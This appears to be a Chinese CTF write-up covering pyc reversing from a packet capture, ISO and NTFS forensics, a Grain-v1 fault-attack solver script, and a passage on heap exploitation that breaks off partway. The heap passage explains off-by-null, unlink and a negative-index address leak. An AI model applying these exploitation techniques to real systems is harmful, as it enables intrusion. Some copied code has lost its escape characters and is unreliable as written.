= source['layers'] # get data data = layers['data']['data.data'] data = bytes([int(data, 16)]) # find index n = layers['http']['http.response.line'] idx = int(re.search(r'(\d+)-\d+/1987', n)[1]) idx_list.append(idx) total[idx] = data print(total) t = b''.join(total) # t = ''.join(total) # print(len(t)/2) with open('decode.pyc', 'wb') as f: f.write(t) # with open('decode1.pyc', 'w') as f: # f.write(t) 或者直接命令行用 tshark 更快,不过当时就没想到这么写喵呜呜呜。 按 index 把这个合并就行,bash 脚本类似这样 tshark -r ExtremelySlow.pcapng -T fields -e data -Y "http.response.line == \"content-range: bytes $idx-$idx/1987\x0d\x0a\"" 2>/dev/null 根据文件内容得知是个 pyc 文件。 但是直接拿在线工具或者 uncompyle6 反编译都不成,发现 magic number 有误。 可以发现文件头的这个 magic number 是随版本号递增的,而且比最新的 3.9.5 跨了一大截。 于是考虑拉个 py3.10 的镜像下来。 docker run --rm -it python:3.10.0b2 根据 magic number 确定就是最新的 Python 3.10.0b2 但还是需要反编译这个pyc uncompyle6 https://pypi.org/project/uncompyle6/ 目前只支持 python 2.4-3.8 https://github.com/rocky/python-decompile3 不行 dis 可 >>> import marshal, dis >>> with open('decode.pyc','rb') as f: ... metadata = f.read(16) ... code_obj = marshal.load(f) ... >>> dis.dis(code_obj) 4 0 LOAD_CONST 0 (0) 2 LOAD_CONST 1 (None) 4 IMPORT_NAME 0 (sys) 6 STORE_NAME 0 (sys) 6 8 LOAD_CONST 0 (0) 10 LOAD_CONST 2 (('sha256',)) 12 IMPORT_NAME 1 (hashlib) 14 IMPORT_FROM 2 (sha256) 16 STORE_NAME 2 (sha256) 18 POP_TOP 16 20 LOAD_CONST 3 (<code object KSA at 0x7f1199dc7890, file "main.py", line 6>) 22 LOAD_CONST 4 ('KSA') 24 MAKE_FUNCTION 0 26 STORE_NAME 3 (KSA) 26 28 LOAD_CONST 5 (<code object PRGA at 0x7f1199dc7940, file "main.py", line 16>) 30 LOAD_CONST 6 ('PRGA') 32 MAKE_FUNCTION 0 34 STORE_NAME 4 (PRGA) 30 36 LOAD_CONST 7 (<code object RC4 at 0x7f1199dc7aa0, file "main.py", line 26>) 38 LOAD_CONST 8 ('RC4') 40 MAKE_FUNCTION 0 42 STORE_NAME 5 (RC4) 33 44 LOAD_CONST 9 (<code object xor at 0x7f1199dd4500, file "main.py", line 30>) 46 LOAD_CONST 10 ('xor') 48 MAKE_FUNCTION 0 50 STORE_NAME 6 (xor) 34 52 LOAD_NAME 7 (__name__) 54 LOAD_CONST 11 ('__main__') 56 COMPARE_OP 2 (==) 58 POP_JUMP_IF_FALSE 139 (to 278) 35 60 LOAD_CONST 12 (b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3<\x151\x19\n\x8f') 62 STORE_NAME 8 (w) 38 64 LOAD_CONST 13 (b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~') 66 STORE_NAME 9 (e) 39 68 LOAD_CONST 14 (b'geo') 70 STORE_NAME 10 (b) 41 72 LOAD_CONST 15 (b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141') 74 STORE_NAME 11 (s) 42 76 LOAD_CONST 16 (b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1") 78 STORE_NAME 12 (t) 43 80 LOAD_CONST 17 (115) 82 LOAD_CONST 18 (97) 84 LOAD_CONST 19 (117) 86 LOAD_CONST 20 (114) 88 LOAD_CONST 21 ((2, 8, 11, 10)) 90 BUILD_CONST_KEY_MAP 4 92 STORE_NAME 13 (m) 44 94 LOAD_CONST 22 (119) 96 LOAD_CONST 23 (116) 98 LOAD_CONST 24 (124) 100 LOAD_CONST 25 (127) 102 LOAD_CONST 26 ((3, 7, 9, 12)) 104 BUILD_CONST_KEY_MAP 4 106 STORE_NAME 14 (n) 45 108 LOAD_NAME 13 (m) 110 LOAD_CONST 27 (<code object <dictcomp> at 0x7f1199dd4c90, file "main.py", line 44>) 112 LOAD_CONST 28 ('<dictcomp>') 114 MAKE_FUNCTION 0 116 LOAD_NAME 14 (n) 118 GET_ITER 120 CALL_FUNCTION 1 122 INPLACE_OR 124 STORE_NAME 13 (m) 47 126 LOAD_NAME 13 (m) 128 LOAD_CONST 29 (<code object <genexpr> at 0x7f1199dd5b00, file "main.py", line 45>) 130 LOAD_CONST 30 ('<genexpr>') 132 MAKE_FUNCTION 0 134 LOAD_NAME 10 (b) 136 GET_ITER 138 CALL_FUNCTION 1 140 INPLACE_OR 142 STORE_NAME 13 (m) 48 144 LOAD_NAME 5 (RC4) 146 LOAD_NAME 15 (list) 148 LOAD_NAME 16 (map) 150 LOAD_CONST 31 (<code object <lambda> at 0x7f1199a42d90, file "main.py", line 47>) 152 LOAD_CONST 32 ('<lambda>') 154 MAKE_FUNCTION 0 156 LOAD_NAME 17 (sorted) 158 LOAD_NAME 13 (m) 160 LOAD_METHOD 18 (items) 162 CALL_METHOD 0 164 CALL_FUNCTION 1 166 CALL_FUNCTION 2 168 CALL_FUNCTION 1 170 CALL_FUNCTION 1 172 STORE_NAME 19 (stream) 49 174 LOAD_NAME 20 (print) 176 LOAD_NAME 6 (xor) 178 LOAD_NAME 8 (w) 180 LOAD_NAME 19 (stream) 182 CALL_FUNCTION 2 184 LOAD_METHOD 21 (decode) 186 CALL_METHOD 0 188 CALL_FUNCTION 1 190 POP_TOP 50 192 LOAD_NAME 0 (sys) 194 LOAD_ATTR 22 (stdin) 196 LOAD_ATTR 23 (buffer) 198 LOAD_METHOD 24 (read) 200 CALL_METHOD 0 202 STORE_NAME 25 (p) 52 204 LOAD_NAME 6 (xor) 206 LOAD_NAME 9 (e) 208 LOAD_NAME 19 (stream) 210 CALL_FUNCTION 2 212 STORE_NAME 9 (e) 53 214 LOAD_NAME 6 (xor) 216 LOAD_NAME 25 (p) 218 LOAD_NAME 19 (stream) 220 CALL_FUNCTION 2 222 STORE_NAME 26 (c) 54 224 LOAD_NAME 2 (sha256) 226 LOAD_NAME 26 (c) 228 CALL_FUNCTION 1 230 LOAD_METHOD 27 (digest) 232 CALL_METHOD 0 234 LOAD_NAME 11 (s) 236 COMPARE_OP 2 (==) 238 POP_JUMP_IF_FALSE 131 (to 262) 56 240 LOAD_NAME 20 (print) 242 LOAD_NAME 6 (xor) 244 LOAD_NAME 12 (t) 246 LOAD_NAME 19 (stream) 248 CALL_FUNCTION 2 250 LOAD_METHOD 21 (decode) 252 CALL_METHOD 0 254 CALL_FUNCTION 1 256 POP_TOP 258 LOAD_CONST 1 (None) 260 RETURN_VALUE 33 >> 262 LOAD_NAME 20 (print) 264 LOAD_NAME 9 (e) 266 LOAD_METHOD 21 (decode) 268 CALL_METHOD 0 270 CALL_FUNCTION 1 272 POP_TOP 274 LOAD_CONST 1 (None) 276 RETURN_VALUE >> 278 LOAD_CONST 1 (None) 280 RETURN_VALUE Disassembly of <code object KSA at 0x7f1199dc7890, file "main.py", line 6>: 8 0 LOAD_GLOBAL 0 (len) 2 LOAD_FAST 0 (key) 4 CALL_FUNCTION 1 6 STORE_FAST 1 (keylength) 9 8 LOAD_GLOBAL 1 (list) 10 LOAD_GLOBAL 2 (range) 12 LOAD_CONST 1 (256) 14 CALL_FUNCTION 1 16 CALL_FUNCTION 1 18 STORE_FAST 2 (S) 10 20 LOAD_CONST 2 (0) 22 STORE_FAST 3 (j) 11 24 LOAD_GLOBAL 2 (range) 26 LOAD_CONST 1 (256) 28 CALL_FUNCTION 1 30 GET_ITER >> 32 FOR_ITER 29 (to 92) 34 STORE_FAST 4 (i) 12 36 LOAD_FAST 3 (j) 38 LOAD_FAST 2 (S) 40 LOAD_FAST 4 (i) 42 BINARY_SUBSCR 44 BINARY_ADD 46 LOAD_FAST 0 (key) 48 LOAD_FAST 4 (i) 50 LOAD_FAST 1 (keylength) 52 BINARY_MODULO 54 BINARY_SUBSCR 56 BINARY_ADD 58 LOAD_CONST 1 (256) 60 BINARY_MODULO 62 STORE_FAST 3 (j) 13 64 LOAD_FAST 2 (S) 66 LOAD_FAST 3 (j) 68 BINARY_SUBSCR 70 LOAD_FAST 2 (S) 72 LOAD_FAST 4 (i) 74 BINARY_SUBSCR 76 ROT_TWO 78 LOAD_FAST 2 (S) 80 LOAD_FAST 4 (i) 82 STORE_SUBSCR 84 LOAD_FAST 2 (S) 86 LOAD_FAST 3 (j) 88 STORE_SUBSCR 90 JUMP_ABSOLUTE 16 (to 32) >> 92 LOAD_FAST 2 (S) 94 RETURN_VALUE Disassembly of <code object PRGA at 0x7f1199dc7940, file "main.py", line 16>: 17 0 GEN_START 0 18 2 LOAD_CONST 1 (0) 4 STORE_FAST 1 (i) 19 6 LOAD_CONST 1 (0) 8 STORE_FAST 2 (j) 20 10 NOP 21 >> 12 LOAD_FAST 1 (i) 14 LOAD_CONST 3 (1) 16 BINARY_ADD 18 LOAD_CONST 4 (256) 20 BINARY_MODULO 22 STORE_FAST 1 (i) 22 24 LOAD_FAST 2 (j) 26 LOAD_FAST 0 (S) 28 LOAD_FAST 1 (i) 30 BINARY_SUBSCR 32 BINARY_ADD 34 LOAD_CONST 4 (256) 36 BINARY_MODULO 38 STORE_FAST 2 (j) 23 40 LOAD_FAST 0 (S) 42 LOAD_FAST 2 (j) 44 BINARY_SUBSCR 46 LOAD_FAST 0 (S) 48 LOAD_FAST 1 (i) 50 BINARY_SUBSCR 52 ROT_TWO 54 LOAD_FAST 0 (S) 56 LOAD_FAST 1 (i) 58 STORE_SUBSCR 60 LOAD_FAST 0 (S) 62 LOAD_FAST 2 (j) 64 STORE_SUBSCR 24 66 LOAD_FAST 0 (S) 68 LOAD_FAST 0 (S) 70 LOAD_FAST 1 (i) 72 BINARY_SUBSCR 74 LOAD_FAST 0 (S) 76 LOAD_FAST 2 (j) 78 BINARY_SUBSCR 80 BINARY_ADD 82 LOAD_CONST 4 (256) 84 BINARY_MODULO 86 BINARY_SUBSCR 88 STORE_FAST 3 (K) 19 90 LOAD_FAST 3 (K) 92 YIELD_VALUE 94 POP_TOP 96 JUMP_ABSOLUTE 6 (to 12) Disassembly of <code object RC4 at 0x7f1199dc7aa0, file "main.py", line 26>: 28 0 LOAD_GLOBAL 0 (KSA) 2 LOAD_FAST 0 (key) 4 CALL_FUNCTION 1 6 STORE_FAST 1 (S) 8 LOAD_GLOBAL 1 (PRGA) 10 LOAD_FAST 1 (S) 12 CALL_FUNCTION 1 14 RETURN_VALUE Disassembly of <code object xor at 0x7f1199dd4500, file "main.py", line 30>: 31 0 LOAD_GLOBAL 0 (bytes) 2 LOAD_GLOBAL 1 (map) 4 LOAD_CLOSURE 0 (stream) 6 BUILD_TUPLE 1 8 LOAD_CONST 1 (<code object <lambda> at 0x7f1199dd5dc0, file "main.py", line 31>) 10 LOAD_CONST 2 ('xor.<locals>.<lambda>') 12 MAKE_FUNCTION 8 (closure) 14 LOAD_FAST 0 (p) 16 CALL_FUNCTION 2 18 CALL_FUNCTION 1 20 RETURN_VALUE Disassembly of <code object <lambda> at 0x7f1199dd5dc0, file "main.py", line 31>: 0 LOAD_FAST 0 (x) 2 LOAD_DEREF 0 (stream) 4 LOAD_METHOD 0 (__next__) 6 CALL_METHOD 0 8 BINARY_XOR 10 RETURN_VALUE Disassembly of <code object <dictcomp> at 0x7f1199dd4c90, file "main.py", line 44>: 0 BUILD_MAP 0 2 LOAD_FAST 0 (.0) >> 4 FOR_ITER 9 (to 24) 6 STORE_FAST 1 (x) 8 LOAD_FAST 1 (x) 10 LOAD_FAST 1 (x) 12 LOAD_GLOBAL 0 (n) 14 LOAD_FAST 1 (x) 16 BINARY_SUBSCR 18 BINARY_XOR 20 MAP_ADD 2 22 JUMP_ABSOLUTE 2 (to 4) >> 24 RETURN_VALUE Disassembly of <code object <genexpr> at 0x7f1199dd5b00, file "main.py", line 45>: 0 GEN_START 0 2 LOAD_FAST 0 (.0) >> 4 FOR_ITER 9 (to 24) 6 STORE_FAST 1 (i) 8 LOAD_FAST 1 (i) 10 LOAD_METHOD 0 (bit_count) 12 CALL_METHOD 0 14 LOAD_FAST 1 (i) 16 BUILD_TUPLE 2 18 YIELD_VALUE 20 POP_TOP 22 JUMP_ABSOLUTE 2 (to 4) >> 24 LOAD_CONST 0 (None) 26 RETURN_VALUE Disassembly of <code object <lambda> at 0x7f1199a42d90, file "main.py", line 47>: 0 LOAD_FAST 0 (x) 2 LOAD_CONST 1 (1) 4 BINARY_SUBSCR 6 RETURN_VALUE 人工手动逆向得到对应 python 代码大概如下 (有些地方没有完全按照字节码来写 import sys from hashlib import sha256 w = b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3<\x151\x19\n\x8f' e = b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~' b = b'geo' s = b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141' t = b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1" m = {2:115, 8:97, 11:117, 10:114} n = {3:119, 7:116, 9:124, 12:127} def KSA(key): keylength = len(key) S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % keylength]) % 256 S[i], S[j] = S[j], S[i] return S def PRGA(S): i = 0 j = 0 while True: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) % 256] yield K def RC4(key): S = KSA(key) return PRGA(S) def xor(p,stream): return bytes(map(lambda x:x ^ stream.__next__(), p)) # n = {2:115, 8:97, 11:117, 10:114} # x:x^n[x] -> <dictcomp> m |= {x: x^n[x] for x in n} m |= ((i.bit_count(), i) for i in b) stream = RC4(list(map(lambda m:m[1], sorted(m.items())))) # print welcome banner... # print(stream) print(xor(w, stream).decode()) p = sys.stdin.buffer.readline() e = xor(e, stream) # print(e) c = xor(p, stream) if sha256(c).digest() != s: # error print(e.decode()) exit() print(xor(t, stream)) # true? 大约可以直到,这个地方通过爆破输入字符的长度,得到t的真实数据 可以发现,输入长度为 26 的时候,会提示说 Congratulations! Now you should now what the flag is,这个就是 t 的解密结果。而其他情况都不能正确解码。 于是就去找哪里还有这个输入。 然后发现用 pyc 隐写了一部分内容,使用脚本 stegosaurus 导出 pyc 隐写。 需要魔改一下 header,python 3.10 长度是16. 另外输出的话不用转 str,直接 bytes 就好了。 或者脚本 result="" with open("py.txt","r") as f: for line in f.readlines(): if line: result+=line.strip() print(result) 可以通过字节码写出py文件,最后是pyc隐写,网上找个脚本修改,得到flag w = b'xf6xefx10Hxa9x0fx9fxb5x80xc1xdxaexd3x03xb2x84xc2xb4x0exc8xf3<x151x19nx8f' e = b'$r9xa3x18xddWxc9x97xf3xa7xa8R~' b = b'geo' s = b'}xce`xbejxa2x120xb5x8ax94x14{xa3x86xc8xc7x01x98xa3_x91xd8x82T*Vxabxe0xa1x141' t = b"Q_xe2xf8x8cx11M}'<@xceTxf6?_mxa4xf8xb4xeaxcaxc7:xb9xe6x06x8bxebxfabHx85xJ3$xddxdexb6xdcxa0xb8bx961xb7x13=x17x13xb1" m = {2:115, 8:97, 11:117, 10:114} n = {3:119, 7:116, 9:124, 12:127} def KSA(key): key_length = len(key) S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % key_length]) % 256 S[i], S[j] = S[j], S[i] return S def PRGA(S): i = 0 j = 0 while True: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) % 256] yield K def RC4(key): S = KSA(key) return PRGA(S) def xor(p,stream): return bytes(map(lambda x:x ^ stream.__next__(), p)) m.update({x:x^n[x] for x in n}) mm = {5:103,4:101,6:111} m.update(mm) stream=RC4(list(map(lambda x: x[1],sorted(m.items())))) banner = xor(w, stream).decode() wrong = xor(e, stream).decode() pp = b'xe5n2xd6"xf0}Ixb0xcdxa2x11xf0xb4Ux166xc5oxdbxc9xeadx04x15b' result = xor(pp, stream) print(xor(t, stream)) print(result) 得到长度为 26 的 bytes b'\xe5\n2\xd6"\xf0}I\xb0\xcd\xa2\x11\xf0\xb4U\x166\xc5o\xdb\xc9\xead\x04\x15b' 最后将这个作为输入,然后让上述代码的 c 打印出来,即为 flag flag{P0w5rFu1_0pEn_50urcE} 5.ISO1995 下载下来以 iso9660 挂载 mount -t iso9660 iso1995 /mnt/随便一个目录 发现有一堆名为 flag_fxxxxx (xxxx为数字)的文件。 用 ultraISO 把文件导出来,发现每个文件只有一个字符。 另外根据题目提示,查看 hex 发现他每个文件名之前的 FFFFFFFF 之后跟着的 2bytes 都不同,怀疑是个序号或者时间之类的。 于是写个脚本提取,转成十进制作为文件名并按照这个顺序把文件内容读取出来。 import re with open('iso1995_trunk_hex', 'r', encoding='utf-8') as fin: s = fin.read() s = s.strip().replace(' ', '').replace('\n', '') print(s) # FFFFFFFF027D08020000010000011A0066006C00610067005F006600300031003000310031003B0031003C0041040000000004410100000000000001 # FFFFFFFF001E08020000010000011A0066006C00610067005F006600300031003000300038003B0031003C003E0400000000043E0100000000000001 # FFFFFFFF011208020000010000011A0066006C00610067005F006600300030003900340032003B0031003C00FC030000000003FC0100000000000001 re_num = re.compile( r'FFFFFFFF(\w{4})08020000010000011A0066006C00610067005F006600(\w{18})') l = re_num.findall(s) len(l) # 1024 filename_list = [] for i in l: name = int(i[0], 16) # print(name) filename_list.append(name) decode_str2 = '' for i in filename_list: filename = f'./iso1995file/flag_f{str(i).rjust(5, "0")}' with open(filename, 'r', encoding='utf-8') as f: x = f.read() print(x) decode_str2 += x print(decode_str2) # !Sdk*t eiW!BJ9$QpR. pIk{V#t:NE;J8M{Qi>W%|1vw<9_*2AG\SX_6{)'n4)GwcPx8gp[6Z_'.#Y(=zCs/2*^DwpC6@=KBz\+0ngA@C(cJSiE'ShHjW,*Xu{Y>5rGyMWX_mY,htG1KLE`pNNMYd?U\SF<%O,qeVflr$,[email protected]%.@C'&I2[36?<k)N^Z0~IgP-k=L-Ip0URu_<P6T?/LF\~K~q6%76}!_WR&nojVK`KGYZwx"G4^4=&cOO0&%:QWo~cBBUM#LD$gLK?887<a$z/Xh=V(J`jus9Jw-Pmp1=[|b5;"Z{[qNI&9/.2@b>'Vxo {1)xT_'3FoRIP~O`&!K'ZAKM<Hrg$D_*>8G%UT{oN41|4P42S~6*g2KJ}o,8j/]&FimP0V2c::+{#;Bj@Cd\w9ioA&is#g#6!_9SI4Xx6rKoN ZhzD##,4!/bbB(v/Q(6ez{bKoH'-B'*hg5xq$n0xz 0v9wfbGs|[K-ana]D!+*\+`abDa7w16BySRx-#D/-a1O55Q`F<75{8f)4rlgQW]K=oT1J$Ar= W$LW9!~TphteN=b&s}.714G_8W~!@8=%gh%"K:<@7o*5+y+}+fCF'NEYN0{P4T_hz(3|Y7ZA1fsu\B6bxi#_+wKPs^C1^Ywa,{'&i]Hq+P8<WQ5sKu!abFLAG{Dir3ct0ry_jYa_n41}R:k_#z^'mT?,3$H "W+xr-Yzn-D-ribi,wKf|&$2:/q?8:jmcI|4L:+`KDx])5+A_m13/7R1VQ:[Dc&.TcvPv$tOb}X&-K'f:.<,bO~0r,=olgKP&x U %(HFjNtCDaJiHW+N1WK=(Ho_*K2<^>b<<_]~4rn=k#7i,3YHK_Z;o%8[xZy;:<1}OT1IHSn>gn`n;YI9[M't@v%}Iz0fmVl#ls+aI\: 6?|VvGHD~Q0O4{-.siztGve H<f@kXEt@WWHW",81m*S1lbQZ+mK9rB'TD^)-)0TzO6tUGf5#6bFo>L7,*oJ&wL*}.7pRx"t1vzM):FL3r@:-C1 # FLAG{Dir3ct0ry_jYa_n41} FLAG{Dir3ct0ry_jYa_n41} 或者 import re import struct with open("iso1995", "rb") as f: data = f.read() pos_val = {} res = [] for i, x in enumerate(re.finditer(rb"f\x00l\x00a\x00g\x00_\x00", data)): index = x.start()-12 index = struct.unpack(">H", data[index:index+2])[0] index_data = 0x26800 + (index * 0x800) pos_val[index] = data[index_data:index_data+1].decode("utf-8") for k, v in pos_val.items(): res.append(v) print("".join(res)) 6.EzTime 解压得到 $LogFile、$MFT (Master File Table) 最后又找到了个 NTFS Log Tracker 工具 导入之后可以看到相关信息 找了老半天时间参数被修改的文件,最后发现是这个( 可以把时间导出来发现秒以下都是 000000… 或者 使用X-Ways-Forensics打开$MFT,专业工具->将镜像文件转为磁盘 调整记录更新时间排序即可发现,最新的被修改过的文件 提交的 flag 就是 {45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png 7.问卷题 flag{Welc0me_tO_qwbS5_Hope_you_play_h4ppily} CRYPTO1.guess_game 题目用的是Grain_v1,根据题意,需要猜32次guess 32轮相互独立,每次key,iv不同且决定初始量,guess引入的是1-10bit的翻转,显然是一个DFA(DifferentialFault Attack) 这里从paper Grain-v1 的多比特差分故障攻击【密码学报 ISSN 2095-7025CN 10-1195/TN】中找到灵感(另外这一片很像这篇paper:Differential Fault Attack against Grainfamily with very few faults and minimal assumptions()的翻译啊) 于是这里我首先将key和iv固定,随机选择guess,运行160轮,查看zi的differential,发现并没有固定项 随后我将guess固定,key和iv随机选择,运行160轮。查看zi的differential,发现存在固定项。 于是自0-160,遍历guess将所有可能的固定项确定下来。 1的固定项用2**16-1去与 0的固定相用0去或 然后组合,而不固定项记为2 得到一个集合table3.data import random import string import hashlib import sys from collections import deque #from secret import plist, banner plist = [i for i in range(150)] import sys assert max(plist) < 160 class generator: def __init__(self, key: list, iv: list, hint: bool, k=0, m=0): self.NFSR = deque() self.LFSR = deque() for i in range(80): self.NFSR.append(key[i]) for i in range(64): self.LFSR.append(iv[i]) for i in range(64, 80): self.LFSR.append(1) self.clock() if hint: s = self.NFSR + self.LFSR for i in range(k, k + m): s[i] ^= 1 self.NFSR = deque(list(s)[:80]) self.LFSR = deque(list(s)[80:]) def clock(self): for i in range(160): zi = self.PRGA() self.NFSR[79] ^= zi self.LFSR[79] ^= zi def PRGA(self): x0 = self.LFSR[3] x1 = self.LFSR[25] x2 = self.LFSR[46] x3 = self.LFSR[64] x4 = self.NFSR[63] hx = x1 ^ x4 ^ (x0 & x3) ^ (x2 & x3) ^ (x3 & x4) ^ (x0 & x1 & x2) ^ (x0 & x2 & x3) ^ (x0 & x2 & x4) ^ (x1 & x2 & x4) ^ (x2 & x3 & x4) zi = (self.NFSR[1] ^ self.NFSR[2] ^ self.NFSR[4] ^ self.NFSR[10] ^ self.NFSR[31] ^ self.NFSR[43] ^ self.NFSR[56]) ^ hx fx = self.LFSR[62] ^ self.LFSR[51] ^ self.LFSR[38] ^ self.LFSR[23] ^ self.LFSR[13] ^ self.LFSR[0] gx = self.LFSR[0] ^ self.NFSR[62] ^ self.NFSR[60] ^ self.NFSR[52] ^ self.NFSR[45] ^ self.NFSR[37] ^ self.NFSR[33] ^ self.NFSR[28] ^ self.NFSR[21] ^ self.NFSR[14] ^ self.NFSR[9] ^ self.NFSR[0] ^ (self.NFSR[63] & self.NFSR[60]) ^ (self.NFSR[37] & self.NFSR[33]) ^ (self.NFSR[15] & self.NFSR[9]) ^ (self.NFSR[60] & self.NFSR[52] & self.NFSR[45]) ^ (self.NFSR[33] & self.NFSR[28] & self.NFSR[21]) ^ (self.NFSR[63] & self.NFSR[45] & self.NFSR[28] & self.NFSR[9]) ^ ( self.NFSR[60] & self.NFSR[52] & self.NFSR[37] & self.NFSR[33]) ^ (self.NFSR[63] & self.NFSR[60] & self.NFSR[21] & self.NFSR[15]) ^ ( self.NFSR[63] & self.NFSR[60] & self.NFSR[52] & self.NFSR[45] & self.NFSR[37]) ^ (self.NFSR[33] & self.NFSR[28] & self.NFSR[21] & self.NFSR[15] & self.NFSR[9]) ^ ( self.NFSR[52] & self.NFSR[45] & self.NFSR[37] & self.NFSR[33] & self.NFSR[28] & self.NFSR[21]) self.LFSR.popleft() self.LFSR.append(fx) self.NFSR.popleft() self.NFSR.append(gx) return zi def proof_of_work(): s = "".join(random.choices(string.ascii_letters + string.digits, k=20)) prefix = s[:4] print(f"sha256(xxxx + {s[4:]}) == {hashlib.sha256(s.encode()).hexdigest()}") print("give me xxxx:") ans = input().strip() if len(ans) == 4 and ans == prefix: return True else: return False #if not proof_of_work(): #sys.exit(0) #with open("/root/task/flag.txt", "r")as f: #flag = f.read() #print(banner + "n") print("Welcome to my number guessing game. If you win the game, I'll give you the flagn") count = 0 glist = random.choices(plist, k=32) table1 = set() table2 = set() table3 = {} #glist[round] for guess in range(160): z1 = 2**160-1 z2 = 0 for round in range(160): k = guess // 2 m = guess % 10 if m == 0: m = 10 #print("k,m",k,m) key = bin(random.getrandbits(80))[2:].zfill(80) key = list(map(int, key)) iv = bin(random.getrandbits(64))[2:].zfill(64) iv = list(map(int, iv)) a = generator(key, iv, False) # k1 = [] for i in range(160): k1.append(a.PRGA()) k1 = int("".join(list(map(str, k1))), 2) b = generator(key, iv, True, k, m) # k2 = [] for i in range(160): k2.append(b.PRGA()) k2 = int("".join(list(map(str, k2))), 2) #print(f"round {round+1}") #print("Here are some tips might help your:") #print(bin(k1)[2:].rjust(160,"0")) #print(bin(k2)[2:].rjust(160,"0")) #print(bin(k1^k2)[2:].rjust(160,"0")) z1 &= k1^k2 z2 |= k1^k2 table1.add(str(z1)) table2.add(str(z2)) tmp1 = bin(z1)[2:].rjust(160,"0") tmp2 = bin(z2)[2:].rjust(160,"0") tmp3 ="" for i in range(len(tmp1)): flag=0 if tmp1[i]=='1': tmp3+='1' flag=1 if tmp2[i]=='0': tmp3+='0' flag=1 if tmp1[i]=='1' and tmp2[i]=='0': print("sth. strange") if flag==0: tmp3+='2' table3[guess] = tmp3 print(tmp3) import pickle with open("table3.data","wb") as f: pickle.dump(table3,f)随后与远程交互得到一组z1和z2,查看其Differential,然后去table里一个一个查,表中数据里,‘2’可直接忽略,‘1’和‘0’需要匹配,以此为if条件做筛选,最后发现答案刚好唯一。 from pwn import * import pickle sh=remote("39.105.139.103","10002") from pwnlib.util.iters import mbruteforce from hashlib import sha256 context.log_level = 'debug' def proof_of_work(sh): sh.recvuntil("xxxx + ") suffix = sh.recvuntil(')').decode("utf8")[:-1] log.success(suffix) sh.recvuntil("== ") cipher = sh.recvline().strip().decode("utf8") log.success(cipher) proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed') log.success(proof) sh.sendlineafter("give me xxxx:", proof) with open("table3.data","rb") as f: table = pickle.load(f) #print(len(table)) proof_of_work(sh) #sh.interactive() def find(sig): sig = (bin(sig)[2:].rjust(160,"0")) for index,each in table.items(): #print(each) #print(sig) for i in range(len(each)): if each[i] == '2': continue elif each[i] != sig[i]: break else: sh.sendline(str(index)) break else: print("no") for i in range(32): sh.recvuntil("Here are some tips might help your:n") z1 = int(sh.recvuntil("n")[:-1]) z2 = int(sh.recvuntil("n")[:-1]) sh.recvuntil(">") #print #print("z1,",z1) #print("z2,",z2) find(z1^z2) sh.interactive()最后 [*] Switching to interactivemode [DEBUG] Received 0x37 bytes: b'you are smart!n' b'n' b'flag{48ef413f0073134548e81124bdafed72}n' you are smart! PWN1.baby_diary参考 https://bbs.pediy.com/thread-257901.htm 实现堆块复用,后面就是常规题目 保护 熟悉得菜单 write 这里有个稍稍复杂的机制。 在我们输入内容之后是一个’\x00’,紧接着后面会跟一个后面的数&0xf0再加后面函数的返回值。 后面函数是干嘛的。 会控制后面哪一个字节。 具体来说是后面一个字节的高四位不变,第四位是所有字节加起来之后,将每个四位的数字加起来,如果大于0xf就再来一次,知道小于0xf。 所以我们就可以控制下一个chunk的size的低四位。但是我们不可能让它等于0. read 正常的输出 输出有判定条件,要求我们多出来的那个数字必须是1才可以输出,因为你看函数返回值&1之后要么为0,要么为1.v2不可能是0,所以v2必须是1,这就要求我们show的这个chunk没有溢出,没有其它的情况。 delete 看得到清理得还是很干净的。 我们的思路是这样的。 off by null 要么overlap,要么unlink。overlap的做法就是我们的house of einherjar 关于null我们可以两次释放申请一个fastbiin chunk,第一次修改最后一位为0,第二次再设置prev_size。 但是出问题了,报错。 看了一下源码, 2.29之后通过这个检查把这种house of ein就没了。 所以我们只能考虑unlink。 unlink需要泄露地址,泄露一个heap地址,或者程序基地址。 没想出来。 参考了NU1L的wp,大佬还是大佬。 问题出在show,show越界了。 它没有限制我们show的index为负数。我们可以尝试一下,当我们show一个负数的时候,可以泄露哪里的地址。 我们试图从address_array向上寻找。 便于我们查找的区间是有限的,因为序号负数的时候用的是chunk的address,我们可以控制的address_array是有限的,所以我们不能找太离谱的。 gdb调试往上调,我们发现了一个这样的地方。 1008那里,它有bss上的一个地址,而且离下面的address_array距离并不远,show(-11)就可以做到。 我们想拿到这个地址,那么我们需要show(-11),并且绕过一系列的检查。 首先第一个问题就是,我们的size_array在-11的地方有没有一个合适的值。 我们发现 size_array上面紧接着就是address_array,我们计算一下-11的size会在第23个chunk的高四个字节。 所以我们要首先申请够23个chunk。 